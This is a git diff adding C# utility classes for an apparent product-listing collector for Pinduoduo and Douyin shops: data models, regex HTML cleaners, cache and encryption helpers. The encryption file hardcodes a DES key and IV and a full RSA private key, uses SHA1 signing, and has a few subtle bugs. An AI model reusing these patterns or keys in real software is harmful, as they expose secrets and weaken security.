""; + public long cost_template_id_pinduoduo = 0; + public string name_shot = ""; + public List Prop = new List(); + public List Props = new List(); + public List Props_bak = new List(); + public List Packs = new List(); + public List SkuMaps = new List(); + public List SkuMaps_bak = new List(); + public List Images = new List(); + public List Images_bak = new List(); + public string sell_pt = ""; + public string from_url = ""; + public string from_title = ""; + public string to_shop_name = ""; + public string from_shop_name = ""; + public string item_size = ""; + public string city = ""; + public string state = ""; + public string content = ""; + public string out_id = ""; + public string content_bak = ""; + public string shop_id = ""; + public string content_alibaba = ""; + public string from = ""; + public string message = ""; + public string up_url = ""; + public string country = ""; + /// + /// 外部上家ID + /// + public string out_goods_sn = string.Empty; + /// + /// 邮费 + /// + public decimal express_price = 0; + public long nameMd5 = 0; + public long upShopId = 0; + public string deliver_template = "408运费模板"; + public string logisticsTime = ""; + /// + ///商品资质中的内容(目前只有两种): 3C证书 /工业许可证 + /// + public string authCode = string.Empty; + + /// + /// 提示信息 + /// + public string message_alert = string.Empty; + + /// + /// 是否已经单独加价 + /// + public string is_changeprice = ""; + /// + /// 自定义单品加价比例 + /// + public decimal addPricePercent = 0; + /// + /// 自定义单品加价 + /// + public decimal baseAddPrice = 0; + /// + /// 是否是净化数据数据 + /// + public bool isFission = false; + /// + /// 产品数据库对应Id + /// + public int fissionDataBaseId = 0; + /// + /// 商品资质信息文件列表 + /// + public List qualifications { get; set; } + + public ProductCollectBase Clone() + { + var prop = new List(); + foreach (KeyValueBase p in Prop) + { + prop.Add(p); + } + Prop.Clear(); + string html = JsonHelper.SerializeObject(this); + ProductCollectBase tp = JsonHelper.DeserializeJsonToObject(html); + foreach (KeyValueBase p in prop) + { + tp.Prop.Add(p); + Prop.Add(p); + } + + return tp; + } + } + + public class PropBase + { + public long id; + public string name = ""; + public string pinduoduo_name = ""; + public string pinduoduo_id = ""; + public int sort = 0; + public List Values = new List(); + } + + public class PropValueBase + { + public string value = ""; + public string name = ""; + public string name_pinduoduo = ""; + public string id = ""; + public string image = ""; + public string image_path = ""; + public string image_from_url = ""; + //public string image_pinduoduo_url = ""; + public int number = 0; + public bool is_used = false; + //public decimal pinduoduo_price = 0; + } + + public class PackBase + { + public string name = ""; + public string value_count = ""; + public int sort = 0; + } + + public class SkuMapBase + { + public long id = 0; + public string name = ""; + private string _nameLite = ""; + public string nameLite + { + get + { + if (!string.IsNullOrEmpty(_nameLite)) return _nameLite; + var strArr = name.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var item in strArr) + { + var colonIndex = item.IndexOf(':'); + colonIndex = colonIndex < 0 ? 0 : colonIndex; + _nameLite += item.Substring(colonIndex).Trim(':') + ";"; + } + return _nameLite; + } + set { _nameLite = value; } + } + + public decimal price = 0; + public decimal before_price = 0; + /// + /// 团购价 + /// + public int new_price = 0; + public int number = 0; + public int sale_count = 0; + /// + /// 单买价 + /// + public int online_price = 0; + public decimal no_group_price = 0; + public string prop_image = ""; + public string pinduoduo_image = ""; + public string spec_pinduoduo = ""; + public string outer_id = ""; + public string skuPreSaleTip = ""; + public long skuPreTime = 0; + public decimal quanPrice = 0M; + } + //抖店sku详情 + public class spec_prices + { + public string outer_sku_id; + public long price; + public long step_stock_num; + public long stock_num; + public string spec_detail_name1; + public string spec_detail_name2; + public string spec_detail_name3; + public string picurl; + public string code; + + } + + public class quality + { + public string quality_key; + public string quality_name; + public List quality_attachments; + } + + public class quality_file : quality + { + /// + /// 资质证书编号 + /// + public string quality_number; + } + + public class quality_attachment + { + /// + /// 凭证文件类型 1-图片,2-pdf + /// + public int media_type; + /// + /// 凭证url + /// + public string url; + } +} diff --git a/AllBase/BaseEncrypt.cs b/AllBase/BaseEncrypt.cs new file mode 100644 index 0000000..242d495 --- /dev/null +++ b/AllBase/BaseEncrypt.cs @@ -0,0 +1,254 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class BaseEncrypt + { + #region EBFB8THEA 加密 + public static string _KEY = "XNNRSAA1"; //密钥 + public static string _IV = "RSABPDD2"; //向量 + + /// + /// 加密 + /// + /// 需要加密的文本 + /// + public static string EncryptEncode(string data, string _key = "", string _iv = "") + { + if (string.IsNullOrEmpty(_key)) + _key = _KEY; + if (string.IsNullOrEmpty(_iv)) + _iv = _IV; + + byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_key); + byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_iv); + + DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); + int i = cryptoProvider.KeySize; + MemoryStream ms = new MemoryStream(); + CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateEncryptor(byKey, byIV), CryptoStreamMode.Write); + + StreamWriter sw = new StreamWriter(cst); + sw.Write(data); + sw.Flush(); + cst.FlushFinalBlock(); + sw.Flush(); + string strRet = Convert.ToBase64String(ms.GetBuffer(), 0, (int)ms.Length); + + sw.Dispose(); + sw.Close(); + cst.Dispose(); + cst.Close(); + ms.Dispose(); + ms.Close(); + return strRet; + } + + /// + /// 解密 + /// + /// + /// + public static string EncryptDecode(string data, string _key = "", string _iv = "") + { + try + { + if (string.IsNullOrEmpty(_key)) + _key = _KEY; + if (string.IsNullOrEmpty(_iv)) + _iv = _IV; + + byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_key); + byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_iv); + byte[] byEnc; + + try + { + data.Replace("_%_", "/"); + data.Replace("-%-", "#"); + byEnc = Convert.FromBase64String(data); + } + catch + { + return ""; + } + + DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); + MemoryStream ms = new MemoryStream(byEnc); + CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateDecryptor(byKey, byIV), CryptoStreamMode.Read); + StreamReader sr = new StreamReader(cst); + var result = sr.ReadToEnd(); + + sr.Dispose(); + sr.Close(); + cst.Dispose(); + cst.Close(); + ms.Dispose(); + ms.Close(); + + return result; + } + catch (Exception ex) + { + return ""; + } + } + #endregion + + #region 数字签名校验 + public static string sPrivateKey = "oOS7iOYBmFdhSPYmae8Vav6DNvzFqEp08UWzNr6Jq3WetYNrVriB7EGcmSWpK4b+vu+NPhFuXRt4WMo06kJLll7kDeVBYJooXCQQaNQT1Gv4l2zcWgutCBtzIAs8YGwUgjkFdnIN8bIGOdGbQAaxIJpnifCzX5Iw2qd2YaBQMjM=AQAB

3w7I1TzMMt7d9fYkQINQamyqVT+Ke/WU8Z+RMFpfiYmzu+EorIxeRe5yEG1TMYD2uHPX7K8K9IwxoTF2SxcXmQ==

uKevEc6B4LTwebVcE8UYk4ZjRW2ADDe223ajc9yZKguboXTrv1euPEnEoWibKANZ7a6ktW+ok7M30T7+6hhHqw==a0JWvIMhxgx5Oz8DK6p5TtO2DIwjcXwkBRQv4spySlbXAK9CucY9xu7kFpYbfSCAgy3hVMTPRczsSJDaSz1tcQ==Oc1r1RQivdeGC2NFLn8dIVkJDDupwKlUGUD7C5K7c1js38682Um2JfMllS0snIroBKoNryoDyDBqwZqJq3fsPw==nOsce/v2jCJKY1/SeOsLiwa7n5fLIKEdIBBeLURLYuELI/9RyElBM5KwNUCXWylCkVc5DRGyoExOWzZgdUk5Kw==H2lov6qAJzjwEmmUSFxYJyJ3hbXF9TxMJorAGXELucDl8nQs8apmGzUYGMJEi+34MFjej36huGXTkiowOIgm724PlVgjQGyr9hqBFO9WTKwXQrgZaoG235HBDGh5oq1fkBNZ415msYsqwmtif7a6qAL9tEJiPlBWpg5/EJA9wVE=
"; + public static string sPublicKey = "oOS7iOYBmFdhSPYmae8Vav6DNvzFqEp08UWzNr6Jq3WetYNrVriB7EGcmSWpK4b+vu+NPhFuXRt4WMo06kJLll7kDeVBYJooXCQQaNQT1Gv4l2zcWgutCBtzIAs8YGwUgjkFdnIN8bIGOdGbQAaxIJpnifCzX5Iw2qd2YaBQMjM=AQAB"; + + /// + /// 数字签名 + /// + /// 原文 + /// 私钥 + /// 签名 + public static string DataSign(string plaintext, string privateKey = "") + { + if (string.IsNullOrEmpty(privateKey)) + privateKey = sPrivateKey; + + UnicodeEncoding ByteConverter = new UnicodeEncoding(); + byte[] dataToEncrypt = ByteConverter.GetBytes(plaintext); + + using (RSACryptoServiceProvider RSAalg = new RSACryptoServiceProvider()) + { + RSAalg.FromXmlString(privateKey); + //使用SHA1进行摘要算法,生成签名 + byte[] encryptedData = RSAalg.SignData(dataToEncrypt, new SHA1CryptoServiceProvider()); + return Convert.ToBase64String(encryptedData); + } + } + + /// + /// 验证签名 + /// + /// 原文 + /// 签名 + /// 公钥 + /// + public static bool DataVerify(string plaintext, string signedData, string publicKey = "") + { + if (string.IsNullOrEmpty(publicKey)) + publicKey = sPublicKey; + + using (RSACryptoServiceProvider RSAalg = new RSACryptoServiceProvider()) + { + RSAalg.FromXmlString(publicKey); + UnicodeEncoding ByteConverter = new UnicodeEncoding(); + byte[] dataToVerifyBytes = ByteConverter.GetBytes(plaintext); + byte[] signedDataBytes = Convert.FromBase64String(signedData); + return RSAalg.VerifyData(dataToVerifyBytes, new SHA1CryptoServiceProvider(), signedDataBytes); + } + } + #endregion + + /// + /// 获取非对程加密Key + /// 键为公钥,值为私钥 + /// + /// + public static KeyValuePair CreateRSAKey() + { + RSACryptoServiceProvider RSA = new RSACryptoServiceProvider(); + string privateKey = RSA.ToXmlString(true); + string publicKey = RSA.ToXmlString(false); + + return new KeyValuePair(publicKey, privateKey); + } + + private static byte[] Keys = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF }; + /// + /// 进行DES解密。 + /// + /// 要解密的base64串 + /// 密钥,且必须为8位。 + /// 已解密的字符串。 + public static string DESDecode(string source, string sKey) + { + //try + //{ + // byte[] rgbKey = Encoding.UTF8.GetBytes(sKey); + // byte[] rgbIV = Keys; + // byte[] inputByteArray = Convert.FromBase64String(source); + // DESCryptoServiceProvider DCSP = new DESCryptoServiceProvider(); + // MemoryStream mStream = new MemoryStream(); + // CryptoStream cStream = new CryptoStream(mStream, DCSP.CreateDecryptor(rgbKey, rgbIV), CryptoStreamMode.Write); + // cStream.Write(inputByteArray, 0, inputByteArray.Length); + // cStream.FlushFinalBlock(); + // return Encoding.UTF8.GetString(mStream.ToArray()); + //} + //catch + //{ + // return source; + //} + + + try + { + byte[] inputByteArray = System.Convert.FromBase64String(source);//Encoding.UTF8.GetBytes(source); + using (DESCryptoServiceProvider des = new DESCryptoServiceProvider()) + { + des.Key = ASCIIEncoding.ASCII.GetBytes(sKey); + des.IV = Keys; + System.IO.MemoryStream ms = new System.IO.MemoryStream(); + using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(inputByteArray, 0, inputByteArray.Length); + cs.FlushFinalBlock(); + cs.Close(); + } + string str = Encoding.UTF8.GetString(ms.ToArray()); + ms.Close(); + return str; + } + } + catch (Exception ex) + { + return ""; + } + } + + /// + /// DES加密方法 + /// + /// 要加密的字符串 + /// 密钥 + /// 加密后的字符串 + public static string DESEncrypt(string originalValue, string key) + { + try + { + using (DESCryptoServiceProvider sa = new DESCryptoServiceProvider { Key = Encoding.UTF8.GetBytes(key), IV = Keys }) + { + using (ICryptoTransform ct = sa.CreateEncryptor()) + { + byte[] by = Encoding.UTF8.GetBytes(originalValue); + using (var ms = new MemoryStream()) + { + using (var cs = new CryptoStream(ms, ct, CryptoStreamMode.Write)) + { + cs.Write(by, 0, by.Length); + cs.FlushFinalBlock(); + } + return Convert.ToBase64String(ms.ToArray()); + } + } + } + } + catch (Exception ex) + { + LogSave.Add("DES Encrypt Exception:" + ex.Message); + return ""; + } + } + } +} diff --git a/AllBase/BaseRegex.cs b/AllBase/BaseRegex.cs new file mode 100644 index 0000000..dcc6537 --- /dev/null +++ b/AllBase/BaseRegex.cs @@ -0,0 +1,660 @@ +/* + * 常用正则表达式 + * 肖俊 + * 2013-5-2 + * + */ + +using System; +using System.Text; +using System.Text.RegularExpressions; + +namespace AllBase +{ + /// + /// 基础正则表达式类 + /// + public static class BaseRegex + { + /// + /// 返回正则对象所有结果 + /// + /// + /// + /// + public static MatchCollection GetMatchRegex(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 返回正则对象所有结果 + /// + /// + /// + /// + public static MatchCollection GetMatchRegex(ref string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetMatchRegexString(ref string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + return mc[0].Groups[1].Value.ToString(); + } + return null; + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetMatchMaxRegexString(ref string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + return mc[mc.Count - 1].Groups[1].Value.ToString(); + } + return null; + } + /// + /// 返回匹配的数值 + /// + /// + /// + /// + public static int GetMatchInt(ref string HtmlString, string RegexString) + { + string id = GetMatchRegexString(ref HtmlString, RegexString); + int i; + int.TryParse(id, out i); + return i; + } + + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetMatchRegexString(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + return mc[0].Groups[1].ToString(); + } + return null; + } + /// + /// 是否存在匹配 + /// + /// + /// + /// + public static bool MatchRegex(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return false; + } + return Regex.IsMatch(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static string Clear(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Replace(HtmlString, RegexString, "", RegexOptions.IgnoreCase); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static string ClearHtml(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + return Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", "").Trim(); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static string ClearHtml(ref string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + return Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", "").Trim(); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static void ClearHtmlX(ref string HtmlString) + { + if (string.IsNullOrEmpty(HtmlString)) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return; + } + HtmlString = Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", ""); + } + + /// + /// 清除HTML代码A标签 + /// + /// + /// 返回文字内容 + public static string ClearA(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + HtmlString = Regex.Replace(HtmlString, "(]*>)", "", RegexOptions.IgnoreCase); + return HtmlString.Trim(); + } + /// + /// 去除空格和特殊空白 + /// + /// + /// + public static string Trim(string text) + { + if (string.IsNullOrEmpty(text)) + return ""; + return text.Replace("\t", " ").Replace("\r\n", " ").Replace("\r", " ").Replace("\n", " ").Trim(); + } + + /// + /// 清除HTML代码A标签 + /// + /// + /// 返回文字内容 + public static string ClearTitle(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + HtmlString = Regex.Replace(HtmlString, "(title=\"[^\"]*\")", ""); + return HtmlString.Trim(); + } + /// + /// 获取值 + /// + /// + /// + /// + public static string GetValue(string html, string reg) + { + return GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + } + /// + /// 清理多余的HTML元素 + /// + /// + /// + public static string ClearNone(string html) + { + if (string.IsNullOrEmpty(html)) + return null; + if (html.Contains("\0") && html.IndexOf("\0") > 0) + html = html.Substring(0, html.IndexOf("\0")); + string h = Clear(html, @"(<\!doctype[^>]*?>)"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"()"); + h = Clear(h, @"()"); + h = Clear(h, @"()"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"()"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"(\s*alt\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*style\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*title\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*id\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*class\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*align\s*=[""'\s]*[^>]*?['""]+)"); + h = h.Replace("\r\n", " "); + h = h.Replace("\n", " ").Replace("\r", " ").Replace("\t", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + return h.Replace(" ", " ").Replace(" ", " "); + } + /// + /// 返回执行结果数 + /// + /// + /// + /// + public static int GetRegexCount(string html, string regex) + { + if (html == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + regex); + return 0; + } + return Regex.Matches(html, regex, RegexOptions.IgnoreCase).Count; + } + + + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static string Relpace(string HtmlString, string RegexString, string NewString) + { + if (HtmlString == null) + return null; + return Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase); + } + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static void Relpace(ref string HtmlString, string RegexString, string NewString) + { + if (HtmlString == null) + return; + HtmlString = Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase); + } + /// + /// 关键词在文本中出现的次数 + /// + /// + /// + /// + public static int GetStringCount(ref byte[] b, string keyword) + { + if (string.IsNullOrEmpty(keyword)) + return 0; + int c = 0; + bool had; + byte[] b1 = Encoding.UTF8.GetBytes(keyword); + for (int i = 0; i < b.Length - b1.Length; i++) + { + had = false; + for (int j = 0; j < b1.Length; j++) + { + if (b[i + j] != b1[j]) + { + had = true; + break; + } + } + if (had) + { + c++; + i += b1.Length - 1; + } + } + return c; + } + /// + /// 是否存在 + /// + /// + /// + /// + public static bool Exists(string html, string reg) + { + if (string.IsNullOrEmpty(html) || string.IsNullOrEmpty(reg)) + return false; + return new Regex(reg).IsMatch(html); + } + /// + /// 是否是数字 + /// + /// + /// + public static bool IsNumber(string str) + { + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[0-9\.]+$"); + return reg1.IsMatch(str); + } + /// + /// 是否是字母 + /// + /// + /// + public static bool IsChar(string str) + { + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z]+$"); + return reg1.IsMatch(str); + } + /// + /// 是否是字母 + /// + /// + /// + public static bool IsCharOrNumber(string str) + { + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z0-9]+$"); + return reg1.IsMatch(str); + } + + /// + /// 是否是中文字符串列 + /// + /// + /// + public static bool IsWordList(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsWord(xj[j])) + return false; + return true; + } + /// + /// 是否是字符 + /// + /// + /// + private static bool IsWord(int ascii) + { + if (ascii == 32 || ascii == 35) //空格 + return true; + if (ascii < 58 && ascii > 47) //数字 + return true; + if (ascii < 48 && ascii > 31) //符号 + return true; + if (ascii < 91 && ascii > 64) //小写字母 + return true; + if (ascii < 123 && ascii > 96) //大写字母 + return true; + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static bool GetBoolValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + if (!string.IsNullOrEmpty(temp) && (temp.ToLower() == "true" || temp == "1")) + return true; + return false; + } + /// + /// 获取值 + /// + /// + /// + /// + public static int GetIntValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + int i; + if (int.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static long GetLongValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + long i; + if (long.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static double GetDoubleValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + double i; + if (double.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static DateTime GetDateValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + DateTime i; + if (DateTime.TryParse(temp, out i)) + return i; + return DateTime.MinValue; + } + /// + /// 获取值 + /// + /// + /// + /// + public static decimal GetDecimalValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + decimal i = 0; + if (decimal.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static decimal GetDecimalJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-\.]+)"); + decimal i = 0; + if (decimal.TryParse(temp, out i)) + return i; + return 0; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static int GetIntJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-]+)"); + int i; + if (int.TryParse(temp, out i)) + return i; + return 0; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static bool GetBoolJson(ref string html, string reg) + { + var temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*(true|false)"); + bool res; + if (bool.TryParse(temp, out res)) + return res; + return false; + } + + /// + /// 时间戳转字符串时间 + /// + /// + /// + /// + public static string GetIntTimeToString(ref string html, string reg) + { + return GetIntTimeToString(ref html, reg, 0); + } + /// + /// 时间戳转字符串时间 + /// + /// + /// + /// 添加时间 + /// + public static string GetIntTimeToString(ref string html, string reg, int addTime) + { + int time = GetIntJson(ref html, reg) + addTime; + DateTime dt = BaseClass.StampToDateTime(time); + return dt.ToString("yyyy-MM-dd HH:mm:ss"); + } + + /// + /// 获取值 + /// + /// + /// + /// + public static long GetLongJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)"); + long i; + if (long.TryParse(temp, out i)) + return i; + return 0; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static string GetStringJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"[""]" + reg + @"[""][\s]*:[\s]*[""]([^""]+?)[""]"); + if (temp == null) + temp = GetMatchRegexString(html, @"[""]" + reg + @"[""][\s]*:[\s]*[""]([^""]*?)[""]"); + if (temp == null) + temp = GetMatchRegexString(html, @"[']" + reg + @"['][\s]*:[\s]*[']([^']*?)[']"); + if (temp == null) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)"); + + return temp; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static string GetStringInput(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"]*?name=['""]" + reg + @"[""'][^>]+?value=[""']([^>]+)[""'][^>]*>"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"]*?value=[""']([^>]+)[""'][^>]+?name=['""]" + reg + @"[""'][^>]*>"); + return temp; + } + + public static string FliterHtmlTag(string htmlStr) + { + if (String.IsNullOrEmpty(htmlStr)) + { + return ""; + } + + string regEx_style = "]*?>[\\s\\S]*?<\\/style>"; //定义style的正则表达式 + string regEx_script = "]*?>[\\s\\S]*?<\\/script>"; //定义script的正则表达式 + string regEx_html = "<[^>]+>"; //定义HTML标签的正则表达式 + htmlStr = Regex.Replace(htmlStr, regEx_style, "");//删除css + htmlStr = Regex.Replace(htmlStr, regEx_script, "");//删除js + htmlStr = Regex.Replace(htmlStr, regEx_html, "");//删除html标记 + htmlStr = Regex.Replace(htmlStr, "\\s*|\t|\r|\n", "");//去除tab、空格、空行 + htmlStr = htmlStr.Replace("\"", "");//去除异常的引号 + + return htmlStr.Trim(); + } + } +} diff --git a/AllBase/BaseSpecialConfig.cs b/AllBase/BaseSpecialConfig.cs new file mode 100644 index 0000000..f32be84 --- /dev/null +++ b/AllBase/BaseSpecialConfig.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class BaseSpecialConfig + { + public const string ToolClientId = "f4a3e3bb0253448d8272537726299621"; + public const string ToolName = "奶爸助理"; + } +} diff --git a/AllBase/BaseWork.cs b/AllBase/BaseWork.cs new file mode 100644 index 0000000..54cca12 --- /dev/null +++ b/AllBase/BaseWork.cs @@ -0,0 +1,95 @@ +/* + * 基本处理 + * 肖俊 + * 2015-4-2 + */ + +using System.Text; + +namespace AllBase +{ + public static class BaseWork + { + /// + /// 两个数组是否相同 + /// + /// + /// + /// + public static bool IsSame(ref byte[] b1, ref byte[] b2) + { + if (b1.Length != b2.Length) + return false; + for (int i = 0; i < b1.Length; i++) + if (b1[i] != b2[i]) + return false; + return true; + } + /// + /// 取得一个数组在另一个数组中的位置 + /// + /// 主数组 + /// 查找数组 + /// 起点 + /// + public static int GetIndexFirst(ref byte[] b1, ref byte[] b2, int start) + { + if (b1.Length < b2.Length || start > b1.Length - 1) + return -1; + int j; + for (int i = start; i < b1.Length - b2.Length+1; i++) + { + if (b1[i] != b2[0]) + continue; + for (j = 1; j < b2.Length; j++) + if (b1[i + j] != b2[j]) + break; + if (j == b2.Length) + return i; + } + return -1; + } + /// + /// 一个数组是否在另一个数组的结尾 + /// + /// 主数据 + /// 结尾数组 + /// + public static bool IsEndByte(ref byte[] getByte, ref byte[] end) + { + if (end.Length > getByte.Length) + return false; + int i, c = getByte.Length - end.Length; + for (i = 0; i < end.Length; i++) + if (end[i] != getByte[c + i]) + break; + if (i == end.Length) + return true; + return false; + } + + /// + /// 取得一个数组在另一个数组中的位置 + /// + /// 主数组 + /// 查找数组 + /// + public static int GetIndexLast(ref byte[] b1, ref byte[] b2) + { + if (b1.Length < b2.Length) + return -1; + int j, end = b2.Length - 1; + for (int i = b1.Length - 1; i >= end; i--) + { + if (b1[i] != b2[end]) + continue; + for (j = 1; j < b2.Length; j++) + if (b1[i - j] != b2[end - j]) + break; + if (j == b2.Length) + return i - end; + } + return -1; + } + } +} diff --git a/AllBase/CacheHelper.cs b/AllBase/CacheHelper.cs new file mode 100644 index 0000000..36fe33b --- /dev/null +++ b/AllBase/CacheHelper.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Web; +using System.Web.Caching; + +namespace AllBase +{ + public class CacheHelper + { + /// + /// 获取数据缓存 + /// + /// 键 + public static object GetCache(string cacheKey) + { + var objCache = HttpRuntime.Cache.Get(cacheKey); + return objCache; + } + /// + /// 设置数据缓存 + /// + public static void SetCache(string cacheKey, object objObject) + { + var objCache = HttpRuntime.Cache; + objCache.Insert(cacheKey, objObject); + } + /// + /// 设置数据缓存 + /// + public static void SetCache(string cacheKey, object objObject, int timeout = 7200) + { + try + { + if (objObject == null) return; + var objCache = HttpRuntime.Cache; + //相对过期 + //objCache.Insert(cacheKey, objObject, null, DateTime.MaxValue, timeout, CacheItemPriority.NotRemovable, null); + //绝对过期时间 + objCache.Insert(cacheKey, objObject, null, DateTime.Now.AddSeconds(timeout), TimeSpan.Zero, CacheItemPriority.High, null); + } + catch (Exception) + { + //throw; + } + } + /// + /// 移除指定数据缓存 + /// + public static void RemoveAllCache(string cacheKey) + { + var cache = HttpRuntime.Cache; + cache.Remove(cacheKey); + } + /// + /// 移除全部缓存 + /// + public static void RemoveAllCache() + { + var cache = HttpRuntime.Cache; + var cacheEnum = cache.GetEnumerator(); + while (cacheEnum.MoveNext()) + { + cache.Remove(cacheEnum.Key.ToString()); + } + } + } +} diff --git a/AllBase/CollectBase.cs 